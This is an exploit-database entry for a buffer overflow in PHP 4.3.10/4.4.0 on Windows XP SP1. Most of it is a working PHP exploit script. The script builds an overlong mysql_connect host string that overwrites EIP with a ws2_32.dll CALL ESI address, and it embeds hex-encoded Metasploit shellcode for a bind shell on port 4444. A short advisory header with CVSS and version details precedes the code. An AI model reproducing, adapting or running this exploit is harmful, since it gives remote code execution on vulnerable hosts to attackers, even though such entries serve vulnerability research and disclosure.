PHP Windows XP SP1 EIP Overwrite Exploit

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Unknown (advisory cut from /str0ke)

7.5

CVSS

HIGH

Buffer Overflow

Unknown

CWE

Product Name:

Affected Version From: PHP versions 4.3.10

Affected Version To: PHP versions 4.4.0

Patch Exists: NO

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Platforms Tested: Windows

Unknown

PHP Windows XP SP1 EIP Overwrite Exploit

This exploit is designed to work with PHP versions 4.3.10 and 4.4.0 under Windows XP SP 1. It overwrites the EIP (Extended Instruction Pointer) with a CALL ESI from ws2_32.dll from Windows XP SP1. The shellcode is written into the $user variable and a temporary memory location is trashed. This exploit is specifically for Apache/1.3.33 and PHP/4.4.0 on Windows only.

Mitigation:

Unknown

Source

Exploit-DB raw data:

<?php

/*
This exploit was designed to work with PHP versions 4.3.10 and
4.4.0 under Windows XP SP 1. If another operating system is used,
the replacement EIP must be changed.

The replacement EIP is written 261 bytes into our string. For this
exploit, I used a CALL ESI from ws2_32.dll from Windows XP SP1.

The replacement ESI is simply the base of the PHP image. Locations
after this address will be overwritten with some internal data.

Our shellcode is written into the $user variable. $two is used to
prevent $user from being truncated with a MySQL error message.

Cut from advisory (untested) /str0ke
*/

//Exploit for
//	Apache/1.3.33
//	PHP/4.4.0
//Windows only

$eip = "71AB5651";  //EIP - CALL ESI from Winsock 2.0 ws2_32.dll v5.1.2600.0
$esi = "10000000";  //ESI - Temporary. The memory under this location will be trashed.

//Metasploit win32 bind shell on port 4444
//Thread exit method, no filter
$shellcode = pack("H*","fc6aeb4de8f9ffffff608b6c24248b453c8b7c057801ef8b4f188b5f2001eb498b348b01ee31c099ac84c07407c1ca0d01c2ebf43b54242875e58b5f2401eb668b0c4b8b5f1c01eb032c8b896c241c61c331db648b43308b400c8b701cad8b40085e688e4e0eec50ffd6665366683332687773325f54ffd068cbedfc3b50ffd65f89e56681ed0802556a02ffd068d909f5ad57ffd6535353535343534353ffd06668115c665389e19568a41a70c757ffd66a105155ffd068a4ad2ee957ffd65355ffd068e549864957ffd650545455ffd09368e779c67957ffd655ffd0666a646668636d89e56a505929cc89e76a4489e231c0f3aafe422dfe422c938d7a38ababab6872feb316ff7544ffd65b57525151516a0151515551ffd068add905ce53ffd66affff37ffd08b57fc83c464ffd652ffd068efcee06053ffd6ffd0");

//Endian conversion
$eip = substr($eip, 6, 2) . substr($eip, 4, 2) . substr($eip, 2, 2) . substr($eip, 0, 2);
$esi = substr($esi, 6, 2) . substr($esi, 4, 2) . substr($esi, 2, 2) . substr($esi, 0, 2);

$overflowstring = "localhost:/";
$overflowstring .= "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
$overflowstring .= pack("H*",$eip);	//EIP
$overflowstring .= pack("H*",$esi);	//ESI
$overflowstring .= "/";

//If we don't define this, our shellcode gets truncated
$two = "AAAAAAAAAA";

mysql_connect($overflowstring, $shellcode);

?>

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